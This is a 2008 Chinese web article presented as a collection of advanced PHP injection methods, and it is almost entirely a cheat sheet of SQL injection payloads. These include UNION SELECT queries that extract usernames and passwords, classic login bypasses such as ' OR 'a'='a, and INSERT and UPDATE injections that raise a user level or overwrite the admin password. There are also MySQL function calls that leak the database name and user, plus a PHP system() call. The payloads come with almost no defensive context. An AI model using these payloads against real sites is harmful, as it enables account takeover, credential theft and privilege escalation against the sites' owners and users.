高级php注入方法集锦

 更新时间:2008年07月19日 19:51:27   作者:  
不论是黑友,还是程序员,都需要了解

构造语句: 

select allowsmilies,public,userid,eventdate,event,subject FROM calendar_events where eventid = 1 union (select 1,1,1,1,1,1,1 from user where userid=1) 

select allowsmilies,public,userid,eventdate,event,subject FROM calendar_events where eventid = 1 union (select 1,1,1,1,username,password from user where userid=1) 

union%20(select%201,0,2,'1999-01-01','a',password%20FROM%20user%20where%20userid%20=%205)%20order%20by%20eventdate 

union%20(select%201,0,12695,'1999-01-01','a',password%20FROM%20user%20where%20userid=13465)%20order%20by%20eventdate 

union %20(select%201,0,12695,'1999-01-01','a',userid%20FROM%20user%20where%20username ='sandflee')%20order%20by%20eventdate (查沙子的id) 

(select a FROM table_name where a=10 AND B=1 ORDER BY a LIMIT 10) 

select * FROM article where articleid='$id' union select * FROM……(字段和数据库相同情况下,可直接提交) 

select * FROM article where articleid='$id' union select 1,1,1,1,1,1,1 FROM……(不同的情况下) 

特殊技巧:在表单,搜索引擎等地方写: 

"___" 

".__ " 

"% 

%' ORDER BY articleid/* 

%' ORDER BY articleid# 

__' ORDER BY articleid/* 

__' ORDER BY articleid# 

$command = "dir c:\";system($command); 

select * FROM article where articleid='$id' 

select * FROM article where articleid=$id 

1' and 1=2 union select * from user where userid=1/* 句中变为 

(select * FROM article where articleid='1' and 1=2 union select * from user where userid=1/*') 

1 and 1=2 union select * from user where userid=1 

语句形式:建立一个库,插入: 

create DATABASE `injection` 

create TABLE `user` ( 

`userid` int(11) NOT NULL auto_increment, 

`username` varchar(20) NOT NULL default '', 

`password` varchar(20) NOT NULL default '', 

PRIMARY KEY (`userid`) 

) ; 

insert INTO `user` VALUES (1, 'swap', 'mypass'); 

插如一个注册用户: 

insert INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', '$username', '$password', '$homepage', '1'); 

"insert INTO membres (login,password,nom,email,userlevel) VALUES ('$login','$pass','$nom','$email','1')"; 

insert INTO membres (login,password,nom,email,userlevel) VALUES ('','','','','3')#','1') 

"insert INTO membres SET login='$login',password='$pass',nom='$nom',email='$email'"; 

insert INTO membres SET login='',password='',nom='',userlevel='3',email='' 

"insert INTO membres VALUES ('$id','$login','$pass','$nom','$email','1')"; 

update user SET password='$password', homepage='$homepage' where id='$id' 

update user SET password='MD5(mypass)' where username='admin'#)', homepage='$homepage' where id='$id' 

"update membres SET password='$pass',nom='$nom',email='$email' where id='$id'"; 

update membres SET password='[PASS]',nom='',userlevel='3',email=' ' where id='[ID]' 

"update news SET Votes=Votes+1, score=score+$note where idnews='$id'"; 

长用函数: 

DATABASE() 

USER() 

SYSTEM_USER() 

SESSION_USER() 

CURRENT_USER() 

比如: 

update article SET title=$title where articleid=1 对应函数 

update article SET title=DATABASE() where id=1 

#把当前数据库名更新到title字段 

update article SET title=USER() where id=1 

#把当前 mysql 用户名更新到title字段 

update article SET title=SYSTEM_USER() where id=1 

#把当前 MySQL 用户名更新到title字段 

update article SET title=SESSION_USER() where id=1 

#把当前 MySQL 用户名更新到title字段 

update article SET title=CURRENT_USER() where id=1 

#把当前会话被验证匹配的用户名更新到title字段 

::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: 

$req = "select * FROM membres where name like '%$search%' ORDER BY name"; 

select * FROM membres where name like '%%' ORDER BY uid#%' ORDER BY name 

select * FROM membres where name like '%%' ORDER BY uid#%' ORDER BY name 

select uid FROM admins where login='' OR 'a'='a' AND password='' OR 'a'='a' (经典) 

select uid FROM admins where login='' OR admin_level=1#' AND password='' 

select * FROM table where msg like '%hop' 

select uid FROM membres where login='Bob' AND password like 'a%'#' AND password='' 

select * FROM membres where name like '%%' ORDER BY uid#%' ORDER BY name

相关文章

  • php socket客户端及服务器端应用实例

    php socket客户端及服务器端应用实例

    这篇文章主要介绍了php socket客户端及服务器端应用实例,需要的朋友可以参考下
    2014-07-07
  • PHP常量define和const的区别详解

    PHP常量define和const的区别详解

    这篇文章主要给大家介绍了关于PHP常量define和const区别的相关资料,文中通过示例代码介绍的非常详细,对大家学习或者使用PHP具有一定的参考学习价值,需要的朋友们下面来一起学习学习吧
    2019-05-05
  • Adnroid 微信内置浏览器清除缓存

    Adnroid 微信内置浏览器清除缓存

    本文主要介绍,微信内置浏览器无法清除缓存的问题.这里整理了一些方法,以供大家学习参考,希望能帮到有需要的小伙伴
    2016-07-07
  • php的无刷新操作实现方法分析

    php的无刷新操作实现方法分析

    这篇文章主要介绍了php的无刷新操作实现方法,结合实例形式总结分析了PHP无刷新操作常见原理、实现技巧与注意事项,需要的朋友可以参考下
    2020-02-02
  • jQuery+PHP实现的掷色子抽奖游戏实例

    jQuery+PHP实现的掷色子抽奖游戏实例

    这篇文章主要介绍了jQuery+PHP实现的掷色子抽奖游戏,较为详细的分析了掷色子抽奖游戏的完整实现步骤与各个环节的实现技巧,具有一定参考借鉴价值,需要的朋友可以参考下
    2015-01-01
  • PHP使用PDO创建MySQL数据库、表及插入多条数据操作示例

    PHP使用PDO创建MySQL数据库、表及插入多条数据操作示例

    这篇文章主要介绍了PHP使用PDO创建MySQL数据库、表及插入多条数据操作,结合实例形式总结分析了php基于pdo的mysql数据库创建、数据表创建以及多条数据插入操作相关实现技巧,需要的朋友可以参考下
    2019-05-05
  • 用PHP函数解决SQL injection

    用PHP函数解决SQL injection

    用PHP函数解决SQL injection...
    2006-12-12
  • PHP扩展mcrypt实现的AES加密功能示例

    PHP扩展mcrypt实现的AES加密功能示例

    这篇文章主要介绍了PHP扩展mcrypt实现的AES加密功能,结合实例形式分析了php基于mcrypt实现AES加密的相关操作技巧,需要的朋友可以参考下
    2019-01-01
  • php实现文件上传及头像预览功能

    php实现文件上传及头像预览功能

    这篇文章主要介绍了php实现文件上传及头像预览功能的相关资料,具有一定的参考价值,感兴趣的小伙伴们可以参考一下
    2017-01-01
  • PHP实现下载功能的代码

    PHP实现下载功能的代码

    PHP实现下载功能的代码,并实现安全下载,隐藏文件真实地址等,需要的朋友可以参考下
    2012-09-09

最新评论